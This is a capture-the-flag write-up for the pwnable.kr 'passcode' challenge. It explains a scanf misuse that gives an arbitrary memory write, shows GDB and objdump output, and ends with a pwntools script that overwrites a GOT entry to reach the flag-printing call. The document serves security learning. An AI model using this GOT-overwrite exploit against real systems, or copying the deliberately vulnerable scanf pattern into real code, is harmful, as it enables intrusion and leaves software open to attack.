Pwnable.kr - passcode

5 minute read

Challenge description:

Mommy told me to make a passcode based login system. My initial C code was compiled without any error! Well, there was some compiler warning, but who cares about that?

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
	scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
		printf("Login OK!\n");
		system("/bin/cat flag");
	}
	else {
		printf("Login Failed!\n");
		exit(0);
	}
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

This challenge was a bit frustrating at first so let’s go easy.

First there is a call to welcome() which takes 100 characters of input and prints a welcome message, nothing wrong with it.

After that we have a call to login() which reads two integers (or it was intended to do that), then compares them with two constants and if they match we get the flag.

If you compiled this code you will get:

warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’

That’s a very famous C warning, the code is passing the variable itself instead of a pointer to it which will cause an arbitrary memory write and might cause an access violation.

if we run the program and enter two numbers we will get a segmentation fault:

$ ./passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : test
Welcome test!
enter passcode1 : 1
enter passcode2 : 1
Segmentation fault (core dumped)

The first scanf() for passcode1 works just fine, we are writing to an arbitrary memory location but it somehow passed.

If only we could control where to write, we can overwrite any GOT entry with the address of the assembly instructions that calls system("/bin/cat flag") and we are done.

Time for GDB:

gef➤  disassemble login 
Dump of assembler code for function login:
.....
   0x0804857c <+24>:	mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:	mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:	mov    DWORD PTR [esp],eax
   0x08048586 <+34>:	call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:	mov    eax,ds:0x804a02c
.....

gef➤  b *0x0804857c
Breakpoint 1 at 0x804857c

gef➤  r
Starting program: /home/night-wolf/Downloads/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : test
Welcome test!

gef➤  x/xw $ebp-0x10
0xffffd018:	0xffffd074

As you can see, $ebp-0x10 which is the variable passcode1 is pointing to 0xffffd074 (the address scanf() is writing to).

The trick of this challenge is that after a function stack frame is destroyed, the next function will start at the same base pointer:

 Func1
-------
| esp |
| ... |		 Func2
| ... |		-------
| ... |		| esp |
| ... |		| ... |
| ... |		| ... |
| ebp |		| ebp |		same base pointer
-------		-------				

Now it’s time to make use of welcome() function, some values of the input array will be at the stack frame of login() function, we can use pwn cyclic to generate a pattern of 100 characters and fill the input array to see what happens.

$ pwn cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤  r
Starting program: /home/night-wolf/Downloads/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Welcome aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!

gef➤  x/20xw $esp
0xffffd000:	0x61616173	0x61616174	0x61616175	0x61616176
0xffffd010:	0x61616177	0x61616178	0x61616179	0xac31af00
0xffffd020:	0xf7fa5000	0xf7fa5000	0xffffd048	0x08048684
0xffffd030:	0x080487f0	0x00000000	0x080486a9	0x00000000
0xffffd040:	0xf7fa5000	0xf7fa5000	0x00000000	0xf7ddafb9

gef➤  x/xw $ebp-0x10
0xffffd018:	0x61616179

As you can see, some values of input are still present in the login() stack frame, and also the passcode1 variable is overwritten with these values. To know the offset of these values from the beginning of the input array we can use pwn cyclic again with the value 0x61616179 which is the string yaaa (remember little endianness).

$ pwn cyclic -l yaaa
96

The value of passcode1 is overwritten by input[96] to input[99], unfortunately these are the last 4 bytes of input array so we cannot overwrite passcode2 (it would be too easy).

Back to our plan, now we have the ability to write to any arbitrary memory location we want, let’s overwrite some GOT entries :)

Using objdump we can get the addresses of the GOT entries:

$ objdump -R passcode 

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

The address of fflush() which is 0x0804a004 seems good, it doesn’t contain any bad characters like \x00 or \x0a.

Now to get the address of the assembly instructions that calls system("/bin/cat flag"):

gef➤  disassemble login
.....
   0x080485e3 <+127>:	mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:	call   0x8048460 <system@plt>
.....

It’s at 0x080485e3, now get have all the pieces to complete this challenge. Remember that we need to send this address as a number string not as hex values.

Solution:

# solve.py

from pwn import *

buf = ""
buf += 'A' * 96		# offset to passcode1 
buf += p32(0x0804a004)	# passcode1 pointing to fflush GOT entry
buf += str(0x080485e3)	# send as a number not an address

print(buf)
$ python /tmp/solve.py | ./passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)

Flag: Sorry mom.. I got confused about scanf usage :(